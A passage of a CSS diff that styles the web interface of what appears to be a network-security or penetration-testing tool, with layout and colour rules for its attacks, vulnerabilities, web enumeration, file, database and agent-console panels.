var(--grad-quickpanel); + z-index: 1; +} + +.vuln-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.vuln-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.vuln-container .vuln-modal-body { + padding: var(--gap-4); +} + +/* ---- Attacks module aliases ---- */ +.attacks-container { + display: flex; + gap: 20px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 8px); + align-items: stretch; + --page-sidebar-w: 320px; +} + +.attacks-container .attacks-sidebar { + width: var(--page-sidebar-w); + flex: 0 0 var(--page-sidebar-w); + min-width: 0; + min-height: 100%; + display: flex; + flex-direction: column; + gap: 0; + padding: 0; + overflow: hidden; +} + +.attacks-container .attacks-main { + width: auto; + flex: 1; + min-width: 0; + display: grid; + grid-template-rows: minmax(320px, auto) 1fr; + gap: 10px; + min-height: 0; + border: 1px solid var(--_border); + border-radius: 14px; + background: var(--grad-card); + box-shadow: var(--_shadow); + padding: 10px; +} + +.attacks-container .attacks-main .page-content { + height: 100%; + overflow: auto; +} + +.attacks-container .attacks-search-input { + width: 100%; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .attacks-categories { + display: flex; + flex-wrap: wrap; + gap: 8px; +} + +.attacks-container .attacks-cat-pill { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 6px 10px; + cursor: pointer; + font-weight: 700; + display: inline-flex; + align-items: center; + gap: 6px; +} + +.attacks-container .attacks-cat-pill.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.attacks-container .attacks-cat-pill .pill-count { + opacity: .8; + font-size: 12px; +} + +.attacks-container .attacks-list { + overflow: auto; + min-height: 0; + display: grid; + gap: 8px; +} + +.attacks-container .action-card { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 10px; + align-items: center; + border: 1px solid var(--_border); + background: var(--_panel-lo); + border-radius: 12px; + padding: 8px; + cursor: pointer; + transition: .2s; +} + +.attacks-container .action-card:hover { + transform: translateY(-1px); + box-shadow: var(--_shadow); + background: var(--_panel-hi); +} + +.attacks-container .action-card.selected { + background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.attacks-container .action-card-img { + width: 56px; + height: 56px; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--_border); + background: #0b0e13; + display: grid; + place-items: center; +} + +.attacks-container .action-card-icon { + width: 100%; + height: 100%; + object-fit: cover; +} + +.attacks-container .action-card-name { + font-weight: 800; + color: var(--_ink); +} + +.attacks-container .action-card-desc { + font-size: 12px; + color: var(--_muted); +} + +.attacks-container .action-card-status { + font-size: 11px; + font-weight: 800; + border-radius: 999px; + padding: 3px 8px; + border: 1px solid var(--_border); +} + +.attacks-container .action-card-status.status-running { + background: color-mix(in oklab, var(--warning) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--warning) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-ok { + background: color-mix(in oklab, var(--ok) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); +} + +.attacks-container .action-card-status.status-err { + background: color-mix(in oklab, var(--danger) 18%, var(--_panel)); + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); +} + +.attacks-container .attacks-detail { + overflow: auto; +} + +.attacks-container .detail-top { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container .detail-name { + font-size: 18px; + color: var(--_ink); +} + +.attacks-container .detail-meta { + color: var(--_muted); + font-size: 12px; + margin-left: 8px; +} + +.attacks-container .detail-desc { + color: var(--_muted); + font-size: 13px; +} + +.attacks-container .detail-section-label { + color: var(--_muted); + font-size: 12px; + text-transform: uppercase; + letter-spacing: .5px; + font-weight: 700; +} + +.attacks-container .detail-presets, +.attacks-container .detail-args, +.attacks-container .detail-free { + display: grid; + gap: 8px; + margin-bottom: 10px; +} + +.attacks-container .preset-chips { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .preset-chip { + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); + border-radius: 999px; + padding: 5px 10px; + cursor: pointer; +} + +.attacks-container .detail-fields { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); + gap: 10px; +} + +.attacks-container .arg-field { + display: grid; + gap: 6px; +} + +.attacks-container .arg-label { + color: var(--_muted); + font-size: 12px; +} + +.attacks-container .arg-ctl { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .arg-range-wrap { + display: grid; + grid-template-columns: 1fr auto; + gap: 8px; + align-items: center; +} + +.attacks-container .arg-range-val { + color: var(--_muted); + font-size: 12px; + min-width: 34px; + text-align: right; +} + +.attacks-container .detail-free-input { + width: 100%; + padding: 8px 10px; + border-radius: 10px; + border: 1px solid var(--_border); + background: var(--_panel-lo); + color: var(--_ink); +} + +.attacks-container .detail-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.attacks-container .attacks-console { + display: grid; + grid-template-rows: auto 1fr; + min-height: 0; +} + +.attacks-container .attacks-log { + overflow: auto; + min-height: 180px; + max-height: 48vh; + border: 1px solid var(--_border); + border-radius: 10px; + background: var(--grad-console); + padding: 10px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.attacks-container .log-line { + white-space: pre-wrap; + word-break: break-word; + font-size: 12px; + padding: 2px 0; +} + +.attacks-container .log-ok { + color: #9ff7c5; +} + +.attacks-container .log-warn { + color: #ffd27a; +} + +.attacks-container .log-err { + color: #ff99b3; +} + +.attacks-container .log-info { + color: #bfefff; +} + +.attacks-container .log-dim { + color: #7f97a8; +} + +@media (max-width: 1100px) { + .attacks-container.page-with-sidebar { + flex-direction: row; + } + + .attacks-container.page-with-sidebar .attacks-main { + min-width: 0; + } +} + +@media (max-width: 900px) { + .attacks-container.page-with-sidebar .attacks-main { + grid-template-rows: auto auto; + } +} + +/* ========================================================================== + SPA class compatibility aliases (visual parity with web_old) + ========================================================================== */ + +/* ---- Dashboard aliases ---- */ +.dashboard-container .grid-stack { + display: grid; + gap: var(--gap); +} + +.dashboard-container .state { + display: inline-flex; + align-items: center; +} + +.dashboard-container .key { + color: var(--_ink); + font-weight: 600; +} + +.dashboard-container .naked { + background: transparent; + box-shadow: none; + border: 0; +} + +/* ---- NetKB aliases ---- */ +.netkb-container .netkb-content { + min-height: 0; +} + +.netkb-container .netkb-empty { + border: 1px dashed var(--c-border-strong); + border-radius: 12px; + padding: 16px; + color: var(--muted); + text-align: center; + background: var(--panel); +} + +.netkb-container .badge-header { + display: block; + margin-bottom: 4px; +} + +.netkb-container .badge-status { + display: block; +} + +.netkb-container .badge-timestamp { + display: block; + margin-top: 4px; +} + +/* ---- Files module aliases ---- */ +.files-container .files-breadcrumb, +.files-container .files-toolbar { + border: 1px solid var(--_border); + border-radius: 12px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); +} + +.files-container .files-breadcrumb { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 6px; + padding: 8px 10px; +} + +.files-container .files-bc-item { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 4px 8px; + border-radius: 8px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + cursor: pointer; +} + +.files-container .files-bc-item:hover { + filter: brightness(1.06); +} + +.files-container .files-bc-sep { + color: var(--_muted); +} + +.files-container .files-toolbar { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; + padding: 8px; +} + +.files-container .global-search-input { + flex: 1; + min-width: 220px; + padding: 10px 12px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); +} + +.files-container .global-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); +} + +.files-container .vuln-btn { + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.files-container .vuln-btn:hover { + filter: brightness(1.06); +} + +.files-container .btn-sm { + padding: 4px 6px; + font-size: 12px; +} + +.files-container .btn-danger { + border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); + color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); +} + +.files-container .files-table-list { + border: 1px solid var(--_border); + border-radius: 12px; + overflow: auto; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); +} + +.files-container .files-row { + display: grid; + grid-template-columns: 40px minmax(180px, 1fr) 120px 170px 140px; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-bottom: 1px solid var(--_border); +} + +.files-container .files-header { + position: sticky; + top: 0; + z-index: 2; + font-weight: 800; + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .files-row.files-dir:hover, +.files-container .files-row.files-file:hover { + background: color-mix(in oklab, var(--_acid2) 10%, transparent); +} + +.files-container .files-cell { + min-width: 0; +} + +.files-container .files-name { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.files-container .files-size, +.files-container .files-date { + color: var(--_muted); +} + +.files-container .files-actions { + display: inline-flex; + gap: 6px; + justify-content: flex-end; +} + +.files-container .sortable { + cursor: pointer; + user-select: none; +} + +.files-container .db-status { + color: var(--_muted); + font-size: 12px; + padding: 4px 2px; +} + +/* ========================================================================== + SPA runtime compatibility aliases (modules that use new class names) + ========================================================================== */ + +.muted { + color: var(--muted); +} + +/* ---- Actions Studio runtime aliases ---- */ +.studio-container:not(.studio-runtime-host) { + display: grid; + grid-template-columns: minmax(300px, 340px) 1fr; + gap: 10px; + min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 12px); +} + +.studio-container:not(.studio-runtime-host) .studio-sidebar { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + display: grid; + grid-template-rows: auto 1fr; + overflow: hidden; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .sidebar-header { + padding: 10px; + border-bottom: 1px dashed var(--st-border, var(--c-border)); + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-list { + padding: 10px; + overflow: auto; + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--st-card, var(--c-panel)); + padding: 8px; + cursor: pointer; + transition: .18s; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item:hover { + transform: translateX(2px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item.active { + outline: 2px solid color-mix(in oklab, var(--accent-2, #18f0ff) 45%, transparent); +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-name { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .sidebar-item-meta, +.studio-container:not(.studio-runtime-host) .sidebar-item-info, +.studio-container:not(.studio-runtime-host) .sidebar-empty { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .sidebar-delete-btn { + justify-self: end; +} + +.studio-container:not(.studio-runtime-host) .studio-main { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-panel, var(--c-panel-2)); + box-shadow: var(--shadow); + padding: 10px; + display: grid; + grid-template-rows: auto 1fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container:not(.studio-runtime-host) .toolbar-spacer { + flex: 1; +} + +.studio-container:not(.studio-runtime-host) .studio-btn { + border: 1px solid var(--st-border, var(--c-border-strong)); + background: var(--st-card, var(--c-panel)); + color: var(--st-text, var(--ink)); + border-radius: 10px; + padding: 8px 10px; + cursor: pointer; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .studio-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.studio-container:not(.studio-runtime-host) .studio-panels { + display: grid; + grid-template-columns: 1.2fr .8fr; + gap: 10px; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .studio-editor, +.studio-container:not(.studio-runtime-host) .studio-preview { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 12px; + background: var(--st-card, var(--c-panel)); + padding: 10px; + overflow: auto; + min-height: 0; +} + +.studio-container:not(.studio-runtime-host) .editor-form { + display: grid; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .editor-section { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 10px; + background: var(--st-card2, var(--c-panel-2)); +} + +.studio-container:not(.studio-runtime-host) .section-title { + font-size: 12px; + text-transform: uppercase; + letter-spacing: .3px; + color: var(--muted); + margin-bottom: 8px; + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .form-row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +.studio-container:not(.studio-runtime-host) .form-group { + display: grid; + gap: 6px; +} + +.studio-container:not(.studio-runtime-host) .field-label { + color: var(--muted); + font-size: 12px; +} + +.studio-container:not(.studio-runtime-host) .studio-input, +.studio-container:not(.studio-runtime-host) .studio-select, +.studio-container:not(.studio-runtime-host) .studio-textarea { + width: 100%; + border: 1px solid var(--st-border, var(--c-border-strong)); + border-radius: 10px; + background: var(--st-bg, var(--c-panel)); + color: var(--st-text, var(--ink)); + padding: 8px 10px; +} + +.studio-container:not(.studio-runtime-host) .studio-textarea { + min-height: 110px; + resize: vertical; +} + +.studio-container:not(.studio-runtime-host) .studio-input:focus, +.studio-container:not(.studio-runtime-host) .studio-select:focus, +.studio-container:not(.studio-runtime-host) .studio-textarea:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent-2, #18f0ff) 35%, transparent); +} + +.studio-container:not(.studio-runtime-host) .args-list, +.studio-container:not(.studio-runtime-host) .req-list { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-row, +.studio-container:not(.studio-runtime-host) .req-row { + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + padding: 8px; + background: var(--st-card, var(--c-panel)); +} + +.studio-container:not(.studio-runtime-host) .arg-row-header, +.studio-container:not(.studio-runtime-host) .req-row-header { + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + margin-bottom: 6px; +} + +.studio-container:not(.studio-runtime-host) .arg-row-title { + font-weight: 700; +} + +.studio-container:not(.studio-runtime-host) .arg-row-body, +.studio-container:not(.studio-runtime-host) .req-p1, +.studio-container:not(.studio-runtime-host) .req-p2 { + display: grid; + gap: 8px; +} + +.studio-container:not(.studio-runtime-host) .arg-name, +.studio-container:not(.studio-runtime-host) .arg-type, +.studio-container:not(.studio-runtime-host) .arg-default, +.studio-container:not(.studio-runtime-host) .arg-desc, +.studio-container:not(.studio-runtime-host) .arg-required, +.studio-container:not(.studio-runtime-host) .req-type { + width: 100%; +} + +.studio-container:not(.studio-runtime-host) .full-width { + grid-column: 1 / -1; +} + +.studio-container:not(.studio-runtime-host) .json-preview { + margin: 0; + border: 1px solid var(--st-border, var(--c-border)); + border-radius: 10px; + background: var(--grad-console); + color: var(--ink); + padding: 10px; + min-height: 240px; + white-space: pre-wrap; + word-break: break-word; +} + +.studio-container:not(.studio-runtime-host) .dirty-indicator { + color: var(--warning); + font-weight: 700; +} + +@media (max-width: 1100px) { + .studio-container { + grid-template-columns: 1fr; + } + + .studio-container .studio-panels { + grid-template-columns: 1fr; + } +} + +/* ---- Web Enum runtime aliases ---- */ +.webenum-container .webenum-controls { + display: grid; + gap: 10px; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + padding: 10px; + box-shadow: var(--shadow); +} + +.webenum-container .stats-bar { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); + gap: 10px; +} + +.webenum-container .stats-bar .stat-item { + background: var(--grad-card); + border-radius: 12px; + padding: 10px 12px; + text-align: center; + border: 1px solid var(--c-border); + box-shadow: var(--elev); + display: grid; + gap: 6px; + justify-items: center; +} + +.webenum-container .stats-bar .stat-value { + font-size: 26px; + font-weight: 800; + background: linear-gradient(90deg, var(--accent), var(--accent-2)); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +} + +.webenum-container .stats-bar .stat-label { + color: var(--muted); + font-size: 12px; +} + +.webenum-container .global-search-container { + flex: 1; + min-width: 220px; + position: relative; +} + +.webenum-container .global-search-input { + width: 100%; + height: var(--control-h); + padding: 0 36px 0 var(--control-pad-x); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r); + background: var(--c-panel); + color: var(--ink); +} + +.webenum-container .global-search-input:focus { + outline: none; + border-color: var(--accent); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); +} + +.webenum-container .clear-global-button { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + border: none; + background: none; + color: var(--danger); + cursor: pointer; + display: none; +} + +.webenum-container .clear-global-button.show { + display: inline-block; +} + +.webenum-container .webenum-filters { + display: flex; + gap: 8px; + flex-wrap: wrap; + align-items: center; +} + +.webenum-container .webenum-main-actions { + display: flex; + gap: 8px; + align-items: center; +} + +.webenum-container .webenum-filter-select, +.webenum-container .webenum-date-input { + border: 1px solid var(--c-border-strong); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 8px 10px; +} + +.webenum-container .webenum-export-btns { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.webenum-container .vuln-btn { + border: 1px solid var(--c-border); + background: var(--c-panel); + color: var(--ink); + border-radius: var(--control-r); + padding: 8px 12px; + cursor: pointer; +} + +.webenum-container .vuln-btn:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +.webenum-container .webenum-status-legend { + display: flex; + gap: 8px; + flex-wrap: wrap; + margin-top: 2px; +} + +.webenum-container .webenum-table-wrap { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + overflow: auto; +} + +.webenum-container .table-inner { + min-width: 100%; +} + +.webenum-container .webenum-table { + width: 100%; + border-collapse: collapse; +} + +.webenum-container .webenum-table th, +.webenum-container .webenum-table td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.webenum-container .webenum-table th { + position: sticky; + top: 0; + background: var(--c-panel); + z-index: 2; +} + +.webenum-container .webenum-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.webenum-container .webenum-link { + color: var(--accent-2); + text-decoration: none; +} + +.webenum-container .webenum-link:hover { + text-decoration: underline; +} + +.webenum-container .webenum-dir-cell { + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; +} + +.webenum-container .webenum-pagination { + display: flex; + gap: 8px; + align-items: center; + justify-content: center; + flex-wrap: wrap; + margin-top: 8px; +} + +.webenum-container .webenum-perpage-wrap { + display: inline-flex; + gap: 6px; + align-items: center; +} + +.webenum-container .webenum-perpage { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 4px 8px; +} + +.webenum-container .modal-detail-section { + margin-bottom: 12px; +} + +.webenum-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.webenum-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +.webenum-container .webenum-modal-actions { + display: flex; + gap: 8px; + justify-content: flex-end; + margin-top: 8px; + flex-wrap: wrap; +} + +.webenum-container .page-loading { + padding: 18px; + color: var(--muted); + text-align: center; +} + +.webenum-container .vuln-modal { + display: none; + position: fixed; + inset: 0; + background: var(--glass-8); + z-index: 1000; +} + +.webenum-container .vuln-modal.show { + display: flex; + align-items: center; + justify-content: center; +} + +.webenum-container .vuln-modal-content { + background: var(--grad-modal); + border-radius: 12px; + max-width: 800px; + width: 90%; + max-height: 80vh; + overflow-y: auto; + border: 1px solid var(--c-border-strong); + box-shadow: var(--shadow-hover); +} + +.webenum-container .vuln-modal-header { + padding: 12px; + border-bottom: 1px solid var(--c-border); + display: flex; + justify-content: space-between; + align-items: center; + position: sticky; + top: 0; + background: var(--grad-quickpanel); + z-index: 1; +} + +.webenum-container .vuln-modal-title { + font-size: 18px; + font-weight: 800; +} + +.webenum-container .vuln-modal-close { + background: none; + border: none; + color: var(--muted); + font-size: 24px; + cursor: pointer; +} + +.webenum-container .vuln-modal-body { + padding: 12px; +} + +/* ---- Zombieland runtime aliases ---- */ +.zombieland-container .zl-toolbar { + display: flex; + justify-content: space-between; + gap: 10px; + flex-wrap: wrap; + padding: 10px; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.zombieland-container.page-with-sidebar { + --page-sidebar-w: 360px; +} + +.zombieland-container.page-with-sidebar .zl-sidebar { + min-height: 0; +} + +.zombieland-container.page-with-sidebar .zl-main { + min-width: 0; + display: flex; + flex-direction: column; + gap: 12px; +} + +.zombieland-container.page-with-sidebar .zl-main .zl-main-grid { + min-height: 0; +} + +.zombieland-container.page-with-sidebar .zl-main .zl-logs-panel { + min-height: 200px; +} + +.zombieland-container .zl-toolbar-left { + display: flex; + gap: 8px; + align-items: center; + flex: 1; + min-width: 220px; +} + +.zombieland-container .zl-toolbar-right { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.zombieland-container .zl-search-input, +.zombieland-container .zl-cmd-input, +.zombieland-container .zl-target-select, +.zombieland-container .zl-card-cmd-input { + border: 1px solid var(--_border); + border-radius: 10px; + background: color-mix(in oklab, var(--_panel) 95%, transparent); + color: var(--_ink); + padding: 8px 10px; +} + +.zombieland-container .zl-search-input { + flex: 1; +} + +.zombieland-container .zl-main-grid { + display: grid; + grid-template-columns: 2fr 1fr; + gap: 12px; + min-height: 0; +} + +.zombieland-container .zl-console-panel, +.zombieland-container .zl-agents-panel, +.zombieland-container .zl-logs-panel { + border: 1px solid var(--_border); + border-radius: 12px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + box-shadow: var(--_shadow); + overflow: hidden; +} + +.zombieland-container .zl-panel-header { + padding: 8px 10px; + border-bottom: 1px dashed var(--_border); + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; +} + +.zombieland-container .zl-panel-title { + font-weight: 800; + color: var(--_ink); +} + +.zombieland-container .zl-quickbar { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.zombieland-container .zl-quick-cmd, +.zombieland-container .zl-btn { + border: 1px solid var(--_border); + border-radius: 10px; + background: var(--_panel-lo); + color: var(--_ink); + padding: 6px 9px; + cursor: pointer; +} + +.zombieland-container .zl-btn-sm { + border: 1px solid var(--_border); + border-radius: 8px; + background: var(--_panel-lo); + color: var(--_ink); + padding: 4px 7px; + cursor: pointer; +} + +.zombieland-container .zl-btn-send { + border: 1px solid var(--_border); + border-radius: 10px; + background: color-mix(in oklab, var(--_acid2) 22%, var(--_panel-lo)); + color: var(--_ink); + padding: 8px 10px; + cursor: pointer; +} + +.zombieland-container .zl-console-output, +.zombieland-container .zl-logs-output { + min-height: 220px; + max-height: 42vh; + overflow: auto; + padding: 10px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; + background: var(--grad-console); +} + +.zombieland-container .zl-console-input-row { + display: grid; + grid-template-columns: minmax(120px, 220px) 1fr auto; + gap: 8px; + padding: 10px; + border-top: 1px dashed var(--_border); +} + +.zombieland-container .zl-agents-list { + display: grid; + gap: 8px; + padding: 10px; + max-height: 56vh; + overflow: auto; +} + +.zombieland-container .zl-agent-card { + border: 1px solid var(--_border); + border-radius: 12px; + background: var(--_panel-lo); + padding: 8px; + display: grid; + gap: 6px; +} + +.zombieland-container .zl-agent-card.pulse { + box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); +} + +.zombieland-container .zl-card-header { + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; +} + +.zombieland-container .zl-card-identity { + display: flex; + gap: 6px; + align-items: center; + min-width: 0; +} + +.zombieland-container .zl-card-id { + font-weight: 700; +} + +.zombieland-container .zl-card-hostname { + color: var(--muted); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.zombieland-container .zl-card-info { + display: grid; + gap: 3px; +} + +.zombieland-container .zl-info-row { + display: flex; + gap: 6px; + align-items: center; +} + +.zombieland-container .zl-info-label { + color: var(--muted); + font-size: 12px; + min-width: 78px; +} + +.zombieland-container .zl-card-actions, +.zombieland-container .zl-card-cmd-row { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.zombieland-container .zl-btn-card-send, +.zombieland-container .zl-btn-shell, +.zombieland-container .zl-btn-remove { + border: 1px solid var(--_border); + border-radius: 8px; + background: var(--_panel-hi); + color: var(--_ink); + padding: 5px 8px; + cursor: pointer; +} + +.zombieland-container .zl-btn-remove { + color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); +} + +.zombieland-container .zl-empty { + color: var(--muted); + text-align: center; + padding: 18px; +} + +.zombieland-container .zl-empty-icon { + display: block; + font-size: 26px; + margin-bottom: 6px; + opacity: .8; +} + +.zombieland-container .zl-ecg-row { + display: flex; + gap: 8px; + align-items: center; +} + +.zombieland-container .zl-ecg-counter { + color: var(--muted); + font-size: 12px; +} + +.zombieland-container .console-target { + color: var(--muted); +} + +@media (max-width: 1100px) { + .zombieland-container .zl-main-grid { + grid-template-columns: 1fr; + } +} + +/* ---- Database runtime aliases ---- */ +.db-container .db-main { + display: grid; + grid-template-columns: minmax(240px, 300px) 1fr; + gap: 12px; + min-height: 0; + flex: 1; +} + +.db-container .db-sidebar { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + padding: 10px; + overflow: auto; +} + +.db-container .db-toolbar { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; + margin-bottom: 10px; +} + +.db-container .db-sidebar-filter, +.db-container .db-limit-select { + border: 1px solid var(--c-border); + border-radius: 8px; + background: var(--c-panel); + color: var(--ink); + padding: 6px 8px; +} + +.db-container .db-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.db-container .db-tree-group { + display: grid; + gap: 8px; +} + +.db-container .db-tree-icon { + width: 16px; + display: inline-flex; + justify-content: center; +} + +.db-container .db-tree-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-thead, +.db-container .db-tbody { + display: table-row-group; +} + +.db-container .db-th, +.db-container .db-td { + display: table-cell; +} + +.db-container .db-th-sel, +.db-container .db-td-sel { + width: 44px; + text-align: center; +} + +.db-container .db-cell { + max-width: 420px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-live-label { + color: var(--muted); + font-size: 12px; +} + +.db-container .db-danger { + color: var(--danger); +} + +@media (max-width: 1100px) { + .db-container .db-main { + grid-template-columns: 1fr; + } +} + +.db-container.page-with-sidebar { + --page-sidebar-w: 300px; +} + +.db-container.page-with-sidebar .db-sidebar { + padding: 0; + display: flex; + flex-direction: column; +} + +.db-container.page-with-sidebar .db-main { + display: flex; + flex-direction: column; + gap: 10px; + min-width: 0; +} + +.db-container.page-with-sidebar .db-table-wrap { + min-height: 280px; +} + +/* ---- Vulnerabilities runtime aliases ---- */ +.vuln-container .page-loading { + padding: 16px; + color: var(--muted); + text-align: center; +} + +.vuln-container .host-severity-pills { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.vuln-container .host-vuln-info { + display: grid; + gap: 4px; +} + +.vuln-container .meta-label { + color: var(--muted); + font-size: 12px; +} + +.vuln-container .meta-value { + color: var(--ink); + font-size: 13px; +} + +.vuln-container .vuln-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.vuln-container .vuln-affected-table { + width: 100%; + border-collapse: collapse; +} + +.vuln-container .vuln-affected-table th, +.vuln-container .vuln-affected-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.vuln-container .vuln-affected-row:hover { + background: color-mix(in oklab, var(--accent-2) 10%, transparent); +} + +.vuln-container .vuln-ref-link { + color: var(--accent-2); + text-decoration: none; +} + +.vuln-container .vuln-ref-link:hover { + text-decoration: underline; +} + +.vuln-container .modal-detail-section { + margin-bottom: 10px; +} + +.vuln-container .modal-section-title { + font-weight: 700; + margin-bottom: 4px; + color: var(--accent-2); +} + +.vuln-container .modal-section-text { + color: var(--ink); + line-height: 1.45; +} + +/* ---- Misc runtime aliases ---- */ +.backup-table { + width: 100%; + border-collapse: collapse; +} + +.backup-table th, +.backup-table td { + padding: 8px; + border-bottom: 1px dashed var(--c-border); + text-align: left; +} + +.backup-table th { + color: var(--muted); +} + +.page-loading { + color: var(--muted); + text-align: center; + padding: 16px; +} + +.network-container .network-empty { + padding: 14px; + text-align: center; + color: var(--muted); + border: 1px dashed var(--c-border); + border-radius: 10px; + background: var(--panel); +} + +.network-container .table-inner { + min-width: max-content; +} + +/* ---- Final parity aliases ---- */ +.actions-container .sidebar-page { + display: block; 